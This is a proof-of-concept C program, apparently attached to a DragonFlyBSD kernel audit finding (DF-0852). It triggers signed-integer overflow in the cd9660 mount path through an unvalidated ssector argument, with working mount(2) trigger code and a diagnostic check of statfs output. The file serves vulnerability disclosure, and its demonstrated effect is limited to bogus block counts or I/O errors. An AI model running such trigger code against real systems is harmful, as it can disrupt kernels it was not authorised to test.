DragonFlyBSD Kernel Audit
DF-0852 / poc.c
← back to finding ↓ download raw
/*
 * DF-0852 PoC: unvalidated user ssector -> signed-integer overflow in
 * sys/vfs/isofs/cd9660/cd9660_vfsops.c iso_mountfs().
 *
 * Two demonstrations:
 *
 *  (A) LINE-427 OVERFLOW (observable).  Mount a crafted ISO whose Primary
 *      Volume Descriptor has volume_space_size = 0x7FFFFFF0, using a modest
 *      ssector (e.g. 16).  iso_mountfs() does:
 *
 *          isomp->volume_space_size = isonum_733(pri->volume_space_size); // 0x7FFFFFF0
 *          ...
 *          isomp->volume_space_size += argp->ssector;   // 0x7FFFFFF0 + 16 = 0x80000000  (line 427)
 *
 *      The signed `int` addition wraps (signed-integer overflow / UB) to
 *      INT_MIN, poisoning isomp->volume_space_size.  cd9660_statfs() then
 *      publishes the wrapped value as f_blocks:
 *
 *          sbp->f_blocks = isomp->volume_space_size;     // line 633
 *
 *      so statfs() reports a bogus (sign-extended / huge / negative) f_blocks.
 *
 *  (B) LOOP-BOUND OVERFLOW (the finding's literal trigger).  Pass ssector near
 *      INT_MAX directly via mount(2).  iso_mountfs() computes the volume-
 *      descriptor loop as
 *
 *          for (iso_blknum = 16 + argp->ssector;              // line 326
 *               iso_blknum < 100 + argp->ssector; ...)        // line 327
 *
 *      With ssector=INT_MAX both bounds wrap to negative; the loop executes
 *      bread() at negative offsets and the mount fails with an I/O error
 *      (NOT EINVAL) -- proving the unvalidated ssector drove the arithmetic
 *      instead of being rejected up front.
 *
 * Usage: ./poc <image_device> <mountpoint> <ssector>
 *   e.g. ./poc /dev/vn0 /mnt/iso 16
 *        ./poc /dev/vn0 /mnt/iso 2147483647
 */
#include <sys/param.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <vfs/isofs/cd9660/cd9660_mount.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <limits.h>

int main(int argc, char **argv) {
    if (argc != 4) {
        fprintf(stderr, "usage: %s <image_device> <mountpoint> <ssector>\n", argv[0]);
        return 2;
    }
    const char *dev = argv[1];
    const char *mnt = argv[2];
    long ssector_l = strtol(argv[3], NULL, 0);

    struct iso_args args;
    memset(&args, 0, sizeof(args));
    args.fspec  = (char *)dev;
    args.flags  = ISOFSMNT_NORRIP;
    args.ssector = (int)ssector_l;

    /* Fresh mountpoint. */
    rmdir(mnt);
    if (mkdir(mnt, 0755) != 0 && errno != EEXIST) {
        perror("mkdir"); return 2;
    }

    printf("[poc] dev=%s mnt=%s ssector=%ld (0x%lx)  sizeof(int)=%zu INT_MAX=%d\n",
           dev, mnt, ssector_l, ssector_l, sizeof(int), INT_MAX);
    printf("[poc] 16+ssector=%ld   100+ssector=%ld\n",
           (long)(16 + args.ssector), (long)(100 + args.ssector));

    int rc = mount("cd9660", mnt, MNT_RDONLY, &args);
    int saved = errno;
    printf("[poc] mount() rc=%d errno=%d (%s)\n", rc, saved, strerror(saved));

    if (rc == 0) {
        struct statfs sf;
        memset(&sf, 0, sizeof(sf));
        if (statfs(mnt, &sf) == 0) {
            /* f_blocks is `long`.  Show signed and the raw bit pattern. */
            unsigned long raw = (unsigned long)sf.f_blocks;
            printf("[poc] statfs f_blocks = %ld  (0x%lx)  f_bsize=%ld\n",
                   (long)sf.f_blocks, raw, (long)sf.f_bsize);
            if ((long)sf.f_blocks < 0 || raw > 0xFFFFFFFFL) {
                printf("[poc] !!! BOGUS f_blocks: signed-integer overflow confirmed !!!\n");
            } else {
                printf("[poc] f_blocks looks normal (no overflow on this path)\n");
            }
        } else {
            perror("[poc] statfs");
        }
        /* Be tidy so the run is repeatable. */
        if (unmount(mnt, MNT_FORCE) != 0) perror("[poc] unmount");
    } else {
        printf("[poc] mount failed; overflow arithmetic may still have executed "
               "inside the kernel before the failure.\n");
    }
    rmdir(mnt);
    return (rc == 0) ? 0 : 1;
}